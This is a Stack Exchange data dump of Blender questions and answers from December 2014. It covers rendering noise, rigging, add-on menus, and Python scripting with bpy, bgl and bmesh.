  <row Id="19660" PostTypeId="2" ParentId="19639" CreationDate="2014-12-07T05:38:28.853" Score="5" Body="&lt;p&gt;Blender provides opengl access through python with the &lt;a href=&quot;http://www.blender.org/api/blender_python_api_2_72_1/bgl.html&quot; rel=&quot;noreferrer&quot;&gt;bgl module&lt;/a&gt; which allows you to use opengl calls to draw to screen. Any opengl reference should help.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;An example from the &lt;a href=&quot;https://github.com/CGCookie/retopology-contours/blob/master/contour_utilities.py&quot; rel=&quot;noreferrer&quot;&gt;contours addon - countour_utilities.py&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;def draw_outline_or_region(mode, points, color):&#xA;        '''  &#xA;        arg: &#xA;        mode - either bgl.GL_POLYGON or bgl.GL_LINE_LOOP&#xA;        color - will need to be set beforehand using theme colors. eg&#xA;        bgl.glColor4f(self.ri, self.gi, self.bi, self.ai)&#xA;        '''&#xA;&#xA;        bgl.glColor4f(color[0],color[1],color[2],color[3])&#xA;        if mode == 'GL_LINE_LOOP':&#xA;            bgl.glBegin(bgl.GL_LINE_LOOP)&#xA;        else:&#xA;            bgl.glBegin(bgl.GL_POLYGON)&#xA;&#xA;        # start with corner right-bottom&#xA;        for i in range(0,len(points)):&#xA;            bgl.glVertex2f(points[i][0],points[i][1])&#xA;&#xA;        bgl.glEnd()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="935" LastActivityDate="2014-12-07T05:38:28.853" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19661" PostTypeId="2" ParentId="5368" CreationDate="2014-12-07T08:32:13.957" Score="5" Body="&lt;p&gt;Altought this is resolved already, here is a help:&#xA;When you open texture tab, find this:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/rJSdA.png&quot; alt=&quot;Change pink color to black&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Make sure to change pink color to black. Than it should be fixed, I think...&lt;/p&gt;&#xA;" OwnerUserId="8363" LastActivityDate="2014-12-07T08:32:13.957" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="19662" PostTypeId="2" ParentId="19659" CreationDate="2014-12-07T08:53:23.673" Score="14" Body="&lt;p&gt;That looks to me like &quot;regular noise&quot; (I assume by regular noise you mean noise caused by an insufficient number of samples in cycles). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;By default cycles uses a consistent pattern for sampling, and so the pattern of noise will stay the same, producing an effect like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/2GANU.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;On the dark side the noise is more chaotic, but on the illuminated side of Suzanne's face you should see that the noise pattern remains mostly the same across frames&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To fix this, change the &lt;em&gt;Seed&lt;/em&gt; of the noise pattern so that it's different every frame (or every few frames), and/or increase then number of samples. To do this, type &lt;code&gt;#frame&lt;/code&gt; into the &lt;em&gt;Seed&lt;/em&gt; setting in &lt;em&gt;Render settings &gt; Sampling&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/9lSBr.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This will create a &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Animation/Basics/Drivers&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;em&gt;driver&lt;/em&gt;&lt;/a&gt; which will set the &lt;em&gt;Seed&lt;/em&gt; based on the expression typed into the field, &lt;a href=&quot;https://blender.stackexchange.com/q/2893/599&quot;&gt;where &lt;code&gt;#frame&lt;/code&gt; is equal to the frame number&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Note that you may have to allow the driver and reload your .blend (save before reloading!) in order for the driver to work. See &lt;a href=&quot;https://blender.stackexchange.com/q/1903/599&quot;&gt;After updating to Blender 2.68 Driver Scripts are no longer automatically excecuted&lt;/a&gt; for details.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Optionally add some math to the expression, e.g. &lt;code&gt;#frame/10&lt;/code&gt; to change the seed only on every tenth frame.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This will break up this noise and make all the noise chaotic, which makes the noise less likely to be preserved by lossily compressed video formats.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://gfycat.com/LegalRareCollie&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://fat.gfycat.com/LegalRareCollie.gif&quot; alt=&quot;&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Click the image above to see a compressed video version.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;On more recent versions of blender&lt;/strong&gt; there is a button to change the Seed automatically:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/PFWeU.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/PFWeU.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The small clock icon highlighted in yellow here, when pressed will automatically adjust the seed each frame.&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:38.780" LastActivityDate="2015-12-18T10:13:17.130" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19663" PostTypeId="2" ParentId="19630" CreationDate="2014-12-07T12:34:12.927" Score="15" Body="&lt;p&gt;I took the liberty to simplify the provided answers.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Leon Cheung-method:&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Bevel&lt;/strong&gt; &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;B&lt;/kbd&gt; edges and use &lt;strong&gt;Clamp Overlap&lt;/strong&gt; &lt;kbd&gt;C&lt;/kbd&gt; while beveling.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/3D1O8.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;stacker-method:&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Enable LoopTools Addon that comes with Blender.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then, use: &lt;kbd&gt;W&lt;/kbd&gt; &gt; &lt;kbd&gt;LoopTools&lt;/kbd&gt; &gt; &lt;kbd&gt;Circle&lt;/kbd&gt; - Even though sometimes you need to manually adjust some angles.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/awyNY.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="8282" LastEditorUserId="8282" LastEditDate="2014-12-07T15:19:24.793" LastActivityDate="2014-12-07T15:19:24.793" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19665" PostTypeId="1" CreationDate="2014-12-07T13:29:58.490" Score="5" ViewCount="3176" Body="&lt;p&gt;Hello I am creating an addon for blender. I have rigged a character, with controller handlers, sliders to control the rig, etc. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I need now to understand how to create a custom 3D menu to append the whole scene in my viewport, just a way to make it less boring than appending it everytime.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I learned how to add a custom object, but I am encountering difficulty in making a custom menu to append an entire scene.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To be clear I want to add a custom button under the bone and armature section when you hit &lt;kbd&gt;&amp;#8679; Shift&lt;/kbd&gt;&lt;kbd&gt;A&lt;/kbd&gt; to append in the 3D scene.&lt;/p&gt;&#xA;" OwnerUserId="8380" LastEditorUserId="599" LastEditDate="2014-12-07T19:52:45.463" LastActivityDate="2020-04-07T08:01:10.180" Title="How to add a custom object entry to the add menu?" Tags="&lt;python&gt;&lt;scripting&gt;&lt;append&gt;" AnswerCount="3" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="19667" PostTypeId="1" CreationDate="2014-12-07T14:55:36.243" Score="1" ViewCount="141" Body="&lt;p&gt;I'm currently trying to do Andrew Price's &quot;Create a Realistic Earth Tutorial (&lt;a href=&quot;http://www.blenderguru.com/tutorials/create-a-realistic-earth/#.VIRSTDGsXbU&quot; rel=&quot;nofollow&quot;&gt;http://www.blenderguru.com/tutorials/create-a-realistic-earth/#.VIRSTDGsXbU&lt;/a&gt;)&quot;, but in Cycles, and I am unable to change the texture based on how much light that part of the object is receiving. If you look at the second link, you'll see the effect Im trying to create - where the dark side displays city light. I should also add that I want to do this specifically with edited image textures.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My currently node setup is linked, everything works perfectly independently, but the nodes inside the red box are what seems to mess everything up. Thanks a lot for any help you can provide.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;--&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is my current node setup: &lt;a href=&quot;https://www.dropbox.com/s/n6nvrrgsnkopvg5/Earth%20Texture%20Help.jpg?dl=0&quot; rel=&quot;nofollow&quot;&gt;https://www.dropbox.com/s/n6nvrrgsnkopvg5/Earth%20Texture%20Help.jpg?dl=0&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the effect I am trying to achieve:&#xA;&lt;a href=&quot;https://www.dropbox.com/s/szojctfbxem0ep2/Earth-Day-Night-Science-Wallpaper.jpg?dl=0&quot; rel=&quot;nofollow&quot;&gt;https://www.dropbox.com/s/szojctfbxem0ep2/Earth-Day-Night-Science-Wallpaper.jpg?dl=0&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="6308" LastActivityDate="2014-12-08T09:14:27.487" Title="How to change mix materials based on how much light they are receiving?" Tags="&lt;cycles-render-engine&gt;&lt;texturing&gt;&lt;node-editor&gt;" AnswerCount="0" CommentCount="2" ClosedDate="2014-12-07T21:06:21.037" ContentLicense="CC BY-SA 3.0" />
  <row Id="19668" PostTypeId="1" AcceptedAnswerId="19669" CreationDate="2014-12-07T15:20:44.273" Score="6" ViewCount="1242" Body="&lt;p&gt;Is it possible to execute a function every time the user does something? I want the function to check what the last user interaction was and then, if the interaction was to rename something, to give me the previous name and the new name.&lt;/p&gt;&#xA;" OwnerUserId="7777" LastActivityDate="2015-05-06T08:41:12.430" Title="Execute a python function whenever the user interacts with the program" Tags="&lt;python&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19669" PostTypeId="2" ParentId="19668" CreationDate="2014-12-07T15:24:11.720" Score="7" Body="&lt;p&gt;Blender doesn't have a way to explicitly catch user events, but there is a workaround if the user interaction causes the scene to update (which renaming an object does).&lt;br&gt;&#xA;You can do this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;class Watcher:&#xA;    def __init__(self, object, property, function):&#xA;        #if the property object needs deep copy&#xA;        try :&#xA;            self.oldValue = getattr(object, property).copy()&#xA;            self.newValue = getattr(object, property).copy()&#xA;        #if the property object doesn't need it (and don't have a copy method)&#xA;        except AttributeError:&#xA;            self.oldValue = getattr(object, property)&#xA;            self.newValue = getattr(object, property)&#xA;&#xA;        self.object = object&#xA;        self.property = property&#xA;        self.function = function&#xA;&#xA;    #Call the function if the object property changed&#xA;    def update(self):&#xA;        try :&#xA;            self.oldValue = self.newValue.copy()&#xA;            self.newValue = getattr(self.object, self.property).copy()&#xA;        except AttributeError:&#xA;            self.oldValue = self.newValue&#xA;            self.newValue = getattr(self.object, self.property)&#xA;&#xA;        if self.oldValue != self.newValue:&#xA;            self.function(object=self.object, new=self.newValue, old=self.oldValue)&#xA;&#xA;# this holds all the watchers&#xA;watchers = []&#xA;def add_watcher(object, property, function):&#xA;    watchers.append(Watcher(object,property,function))&#xA;&#xA;# create the function to be called when name changes&#xA;# it can change scene property or whatever&#xA;def name_change(object, new, old):&#xA;    print(&quot;old value: &quot; + str(old))&#xA;    print(&quot;new value: &quot; + str(new))&#xA;    return&#xA;&#xA;# lets watch your_object_name's name&#xA;add_watcher(bpy.data.objects[&quot;YOUR OBJECT NAME&quot;], &quot;name&quot;, name_change)&#xA;&#xA;def watcher(scene):&#xA;    &quot;&quot;&quot;This function will be run everytime after scene updates&quot;&quot;&quot;&#xA;    global watchers&#xA;    for watcher in watchers:&#xA;        watcher.update()&#xA;    return&#xA;&#xA;# add handler if not in app.handlers&#xA;if watcher not in bpy.app.handlers.scene_update_post:&#xA;    bpy.app.handlers.scene_update_post.append(watcher)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7777" LastActivityDate="2014-12-07T15:24:11.720" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="19671" PostTypeId="1" AcceptedAnswerId="19672" CreationDate="2014-12-07T17:27:24.400" Score="4" ViewCount="2786" Body="&lt;p&gt;I have a model which consists of a few levels of parent/child relations, with a single common ancestor &lt;code&gt;P&lt;/code&gt; at the top. I'd like to set up a particle system which emits instances of the whole model, but when I set the dupli object to &lt;code&gt;P&lt;/code&gt;, it emits &lt;em&gt;only &lt;code&gt;P&lt;/code&gt;&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's going to get ugly if I have to join all of the objects into a single mesh.. Is it possible for a particle system to emit a parent with all of its children?&lt;/p&gt;&#xA;" OwnerUserId="822" LastActivityDate="2019-12-08T10:11:46.133" Title="Particle System Dupli Object's Children Not Rendered" Tags="&lt;particles&gt;" AnswerCount="2" CommentCount="1" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19672" PostTypeId="2" ParentId="19671" CreationDate="2014-12-07T17:44:54.580" Score="4" Body="&lt;p&gt;Group all the objects and under the particles render tab set the render to Group and check whole_group.&lt;br&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/hnc0S.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="7777" LastActivityDate="2014-12-07T17:44:54.580" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19674" PostTypeId="2" ParentId="18323" CreationDate="2014-12-07T19:00:06.757" Score="4" Body="&lt;p&gt;For &lt;strong&gt;non-stretchy&lt;/strong&gt; leg you should duplicate the foot bone and lets name it Target. The target bone has no parent and is the target of IK constraint. The foot bone is connected to the leg and copies the rotation of target bone with constraint.&#xA;Here is how it should look: &lt;br&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/XoSPA.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;br&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think you dont need the heel bone but if you do you can leave it parented to the Foot bone. Its also good to uncheck Deform for Target bone since it will only control the ik and not deform anything.&lt;br&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/0jule.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For the &lt;strong&gt;stretchy-leg&lt;/strong&gt; set stretch of Leg and chains bones to 1:&lt;br&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/iG3tr.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But you will not end up with a much pleasing result, the stretchy rig is much more complicated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you need to implement also reverse-foot rig or you want to have more advanced stretchy leg you can ask a question specific to that or try the rigify addon, it will do all the work for you.&lt;/p&gt;&#xA;" OwnerUserId="7777" LastEditorUserId="7777" LastEditDate="2014-12-07T19:07:41.093" LastActivityDate="2014-12-07T19:07:41.093" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19675" PostTypeId="1" AcceptedAnswerId="19722" CreationDate="2014-12-07T19:29:30.443" Score="2" ViewCount="453" Body="&lt;p&gt;Right now I have a truck and a trailer. The trailer is parented to an empty, and the empty is vertex parented to the truck where the trailer would hing at. However, although the trailer is always locked to the hinging point on the truck, it does not act like a trailer when the truck is rotated and moved. What has to be done to make the trailer respond in a manner that an actual trailer would? I am trying to make this for the game engine, so using most constraints will not work. I thought of using the &lt;em&gt;Camera&lt;/em&gt; actuator, but that does not work very well at all when backing up.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/121/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://blend-exchange.giantcowfilms.com/embedImage.png?bid=121&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5426" LastEditorUserId="-1" LastEditDate="2017-03-14T09:17:19.773" LastActivityDate="2020-08-25T09:32:29.430" Title="Creating a trailer rig" Tags="&lt;game-engine&gt;&lt;rigging&gt;&lt;logic-bricks&gt;" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="19676" PostTypeId="1" AcceptedAnswerId="19749" CreationDate="2014-12-07T20:16:41.383" Score="0" ViewCount="57" Body="&lt;p&gt;I'm a blender newbie and I'm trying to animate my first character on blender. Actually I'm playing with the armature, but it seems to me that Blender uses a confusing procedure for this matter. Anyways ,as you can see from the attached pictures, I'm not able to move the right forearm to the correct low position. Can you explain to me why?&lt;/p&gt;&#xA;&lt;p&gt;Please go to this website :&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.psychonews.it/pics/&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.psychonews.it/pics/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;and check these pictures :&lt;/p&gt;&#xA;&lt;p&gt;2014-12-07_19-08-52.png ;&#xA;2014-12-07_19-09-22.png ;&#xA;2014-12-07_19-09-45.png ;&lt;/p&gt;&#xA;&lt;p&gt;thanks.&lt;/p&gt;&#xA;" OwnerUserId="6185" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2014-12-09T18:30:28.537" Title="Cannot place the forearm on the correct low position while I'm playing with the armature" Tags="&lt;animation&gt;&lt;rigging&gt;&lt;armature&gt;" AnswerCount="1" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="19677" PostTypeId="2" ParentId="19665" CreationDate="2014-12-07T20:46:34.510" Score="5" Body="&lt;p&gt;&lt;strong&gt;Blender 2.8x&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;def menu_func(self, context):&#xA;    self.layout.operator(&quot;YOUR OPERATOR BL_IDNAME&quot;)&#xA;    # bl_idname should be in form of &quot;something.something&quot;&#xA;    # or YourClass.bl_idname&#xA;&#xA;def register():&#xA;   # register classes so blender knows about them&#xA;   bpy.utils.register_class(MyOperatorClass)&#xA;   # this adds your menu to shift-a add object menu&#xA;   bpy.types.VIEW3D_MT_add.prepend(menu_func)&#xA;   # if you want to add to mesh menu use INFO_MT_mesh_add&#xA;   # other menu classes you can find in \scripts\startup\bl_ui\&#xA;   # by looking into the files there (i.e.: space_view3d.py)&#xA;&#xA;def unregister():&#xA;    bpy.utils.unregister_module(MyOperatorClass)&#xA;    bpy.types.VIEW3D_MT_add.remove(menu_func)&#xA;&#xA;if __name__ == &quot;__main__&quot;:&#xA;    register()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Blender 2.7x&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;def menu_func(self, context):&#xA;    self.layout.operator(&quot;YOUR OPERATOR BL_IDNAME&quot;)&#xA;    # bl_idname should be in form of &quot;something.something&quot;&#xA;    # or YourClass.bl_idname&#xA;&#xA;def register():&#xA;   # register classes so blender knows about them&#xA;   bpy.utils.register_module(__name__)&#xA;   # this adds your menu to shift-a add object menu&#xA;   bpy.types.INFO_MT_add.prepend(menu_func)&#xA;   # if you want to add to mesh menu use INFO_MT_mesh_add&#xA;   # other menu classes you can find in \scripts\startup\bl_ui\&#xA;   # by looking into the files there (i.e.: space_view3d.py)&#xA;&#xA;def unregister():&#xA;    bpy.utils.unregister_module(__name__)&#xA;    bpy.types.INFO_MT_add.remove(menu_func)&#xA;&#xA;if __name__ == &quot;__main__&quot;:&#xA;    register()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7777" LastEditorUserId="31447" LastEditDate="2020-04-07T08:01:10.180" LastActivityDate="2020-04-07T08:01:10.180" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="19678" PostTypeId="1" CreationDate="2014-12-07T21:04:50.503" Score="0" ViewCount="1170" Body="&lt;p&gt;My first experiments exporting a model from Blender resulted in an incomplete looking model when used in Repetier-Host which I use for 3D printing. The model looks OK when imported, but after slicing, many parts seem to be missing, and the scale and positioning seem to be off. An stl file produced with Sketchup can be sliced and printed without issues.&lt;/p&gt;&#xA;" OwnerUserId="8384" LastEditorUserId="3401" LastEditDate="2014-12-08T10:26:06.177" LastActivityDate="2014-12-08T10:26:06.177" Title="How to export Blender models as STL so that they can be printed on a 3D printer" Tags="&lt;export&gt;&lt;3d-printing&gt;" AnswerCount="0" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="19679" PostTypeId="1" CreationDate="2014-12-07T21:15:18.693" Score="1" ViewCount="506" Body="&lt;p&gt;I have baked a 995 frame cloth simulation but when I go to render a still frame at frame 995 (tried 990) it displays frame 1. How do I render the final frame of the simulation instead?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/1JHUf.jpg&quot; alt=&quot;Before render&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/1VU0D.jpg&quot; alt=&quot;Rendered&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="6351" LastEditorUserId="599" LastEditDate="2014-12-08T07:04:31.207" LastActivityDate="2014-12-08T07:04:31.207" Title="Render displaying frame 1 of cloth simulation instead of baked result visible in the 3D view" Tags="&lt;rendering&gt;&lt;animation&gt;&lt;cloth-simulation&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19680" PostTypeId="2" ParentId="19655" CreationDate="2014-12-07T22:14:58.677" Score="13" Body="&lt;p&gt;Following script creates a new &lt;em&gt;point cloud&lt;/em&gt; from the &lt;em&gt;selected object&lt;/em&gt; based the &lt;em&gt;center of each face&lt;/em&gt;: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/5GXXl.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/5GXXl.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;def point_cloud(ob_name, coords):&#xA;    &quot;&quot;&quot;Create point cloud object based on given coordinates and name.&quot;&quot;&quot;&#xA;    me = bpy.data.meshes.new(ob_name + &quot;Mesh&quot;)&#xA;    ob = bpy.data.objects.new(ob_name, me)&#xA;    me.from_pydata(coords, [], [])&#xA;    ob.show_name = True&#xA;    me.update()&#xA;    return ob&#xA;&#xA;def face_centers(obj):&#xA;    &quot;&quot;&quot;Returns median center coordinates for each face of given mesh object.&quot;&quot;&quot;&#xA;    if obj.type == 'MESH':&#xA;        import bmesh&#xA;        bm = bmesh.new()&#xA;        bm.from_mesh(obj.data)&#xA;        return [obj.matrix_world @ f.calc_center_median() for f in bm.faces]&#xA;    else:&#xA;        return [(0.0, 0.0, 0.0)]&#xA;&#xA;&#xA;ob = bpy.context.active_object&#xA;pc = point_cloud(ob.name + &quot;-pointcloud&quot;, face_centers(ob))&#xA;&#xA;# Link object to the active collection&#xA;bpy.context.collection.objects.link(pc)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Related: &lt;a href=&quot;https://blender.stackexchange.com/a/23088/3710&quot;&gt;Add a simple vertex via python?&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3710" LastEditorUserId="3710" LastEditDate="2019-12-18T14:43:33.733" LastActivityDate="2019-12-18T14:43:33.733" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="19681" PostTypeId="1" AcceptedAnswerId="19702" CreationDate="2014-12-07T22:15:20.517" Score="8" ViewCount="37248" Body="&lt;p&gt;I have a rig, and when I select the Armature or the Model, and go to edit mode, they move position. They just go to the left, and they come back in object mode.&lt;/p&gt;&#xA;" OwnerUserId="1597" LastEditorUserId="3247" LastEditDate="2014-12-07T23:00:03.970" LastActivityDate="2020-08-22T20:51:37.757" Title="My Rig Changes Position in Edit/Object Mode?" Tags="&lt;armature&gt;&lt;bones&gt;" AnswerCount="8" CommentCount="1" FavoriteCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="19682" PostTypeId="2" ParentId="19681" CreationDate="2014-12-07T22:31:36.017" Score="1" Body="&lt;p&gt;Unless it's some really weird placement, then what you describe is how it's supposed to be =) What you see in edit mode are the default positions of your bones. In other words, where your bones will be if you reset the position/rotation/scale in pose mode.&lt;/p&gt;&#xA;" OwnerUserId="3247" LastActivityDate="2014-12-07T22:31:36.017" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="19684" PostTypeId="2" ParentId="19655" CreationDate="2014-12-07T23:19:31.477" Score="3" Body="&lt;p&gt;Just playing around, this seems like the simplest solution, although it may have trouble on more complex models.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Add a remesh modifier&lt;/li&gt;&#xA;&lt;li&gt;Change the remesh type to smooth (starts at sharp by default)&lt;/li&gt;&#xA;&lt;li&gt;Increase the octree depth to the resolution of the pointcloud you want&lt;/li&gt;&#xA;&lt;li&gt;Adjust the scale for finer changes to the resolution&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;To get the points, do as stacker suggested:&lt;/p&gt;&#xA;&#xA;&lt;ol start=&quot;5&quot;&gt;&#xA;&lt;li&gt;Apply the remesh modifier&lt;/li&gt;&#xA;&lt;li&gt;Go into edit mode&lt;/li&gt;&#xA;&lt;li&gt;Select all (a)&lt;/li&gt;&#xA;&lt;li&gt;Delete edges and faces (x, select &quot;only edges and faces&quot;)&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="2699" LastActivityDate="2014-12-07T23:19:31.477" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19686" PostTypeId="1" AcceptedAnswerId="19687" CreationDate="2014-12-08T03:12:40.690" Score="6" ViewCount="2286" Body="&lt;p&gt;I am using the the &lt;code&gt;CollectionProperty&lt;/code&gt; class to store a list of properties, so something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class MyPropertyGroup(bpy.types.PropertyGroup):&#xA;    name = bpy.props.StringProperty(name=&quot;Property Name&quot;, default=&quot;Something&quot;)&#xA;    value = bpy.props.IntProperty(name=&quot;Property Name&quot;, default=22)&#xA;&#xA;bpy.utils.register_class(MyPropertyGroup)&#xA;bpy.types.World.my_collection_prop = bpy.props.CollectionProperty(type=MyPropertyGroup)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then in an &lt;code&gt;Operator&lt;/code&gt; I am calling the &lt;code&gt;add()&lt;/code&gt; method to create additional properties:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class MyOperator(bpy.types.Operator):&#xA;    # some irrelevant code here...&#xA;&#xA;    def execute(self, context):&#xA;        my_prop = context.world.my_collection_prop.add()&#xA;        my_prop.name = &quot;test&quot;&#xA;        my_prop.value = 123&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now my problem is doing the opposite of &lt;code&gt;add()&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I go about removing an instance from a &lt;code&gt;CollectionProperty&lt;/code&gt;?&lt;/p&gt;&#xA;" OwnerUserId="5281" LastActivityDate="2019-07-13T19:50:56.743" Title="Remove from CollectionProperty" Tags="&lt;python&gt;&lt;add-on&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
